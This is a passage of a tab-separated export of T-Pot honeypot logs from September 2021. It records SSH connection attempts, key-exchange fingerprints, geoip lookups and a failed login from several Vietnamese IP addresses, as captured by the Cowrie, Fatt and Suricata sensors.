"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37702, "dest_port": 22, "timestamp": "2021-09-20T11:07:43.545366", "@timestamp": "2021-09-20T11:07:43.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23670	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:43.763136+03	2021-09-20 14:15:07.803471+03	{"_id": "gQbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34906, "timestamp": "2021-09-20T11:07:43.763136", "@timestamp": "2021-09-20T11:07:43.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23671	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:43.546112+03	2021-09-20 14:15:07.804471+03	{"_id": "ggbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ea26a28b5892", "@version": "1", "timestamp": "2021-09-20T11:07:43.546112Z", "@timestamp": "2021-09-20T11:07:43.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23672	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:44.934172+03	2021-09-20 14:15:07.80647+03	{"_id": "jwbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42976 (192.168.176.2:22) [session: 3d9857d51089]", "session": "3d9857d51089", "@version": "1", "protocol": "ssh", "src_port": 42976, "dest_port": 22, "timestamp": "2021-09-20T11:07:44.934172Z", "@timestamp": "2021-09-20T11:07:44.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23673	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:44.934923+03	2021-09-20 14:15:07.80847+03	{"_id": "kwbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3d9857d51089", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:44.934923Z", "@timestamp": "2021-09-20T11:07:44.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23674	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:44.935478+03	2021-09-20 14:15:07.80947+03	{"_id": "jQbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42976, "timestamp": "2021-09-20T11:07:44.935478", "@timestamp": "2021-09-20T11:07:44.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23675	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:44.387908+03	2021-09-20 14:15:07.81147+03	{"_id": "jgbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d6ad7ec06fcd", "@version": "1", "duration": 2.42272686958313, "timestamp": "2021-09-20T11:07:44.387908Z", "@timestamp": "2021-09-20T11:07:44.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23676	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:45.097078+03	2021-09-20 14:15:07.81247+03	{"_id": "nwbjAnwBvYTbRNuE8Q6u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [3/3] failed", "session": "1d917e941c5d", "@version": "1", "password": "3", "username": "3", "timestamp": "2021-09-20T11:07:45.097078Z", "@timestamp": "2021-09-20T11:07:45.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23677	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:45.210182+03	2021-09-20 14:15:07.81347+03	{"_id": "oAbjAnwBvYTbRNuE9A4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 754363416971247, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42976, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.210182Z", "@timestamp": "2021-09-20T11:07:45.210Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23678	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:45.139943+03	2021-09-20 14:15:07.81447+03	{"_id": "owbjAnwBvYTbRNuE9A4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1259, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1878386423177895, "@version": "1", "in_iface": "enp5s0", "src_port": 49543, "dest_port": 53, "timestamp": "2021-09-20T11:07:45.139943Z", "@timestamp": "2021-09-20T11:07:45.139Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23679	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.041173+03	2021-09-20 14:15:07.815471+03	{"_id": "vAbjAnwBvYTbRNuE9Q6W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:52124 (192.168.176.2:22) [session: a69663fcb61b]", "session": "a69663fcb61b", "@version": "1", "protocol": "ssh", "src_port": 52124, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.041173Z", "@timestamp": "2021-09-20T11:07:46.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23680	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:45.979895+03	2021-09-20 14:15:07.81647+03	{"_id": "uAbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1722db1c4cdd", "@version": "1", "timestamp": "2021-09-20T11:07:45.979895Z", "@timestamp": "2021-09-20T11:07:45.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23681	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:46.087966+03	2021-09-20 14:15:07.818471+03	{"_id": "uQbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1b1c60619027", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:46.087966Z", "@timestamp": "2021-09-20T11:07:46.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23682	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:45.97843+03	2021-09-20 14:15:07.820471+03	{"_id": "4AbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", 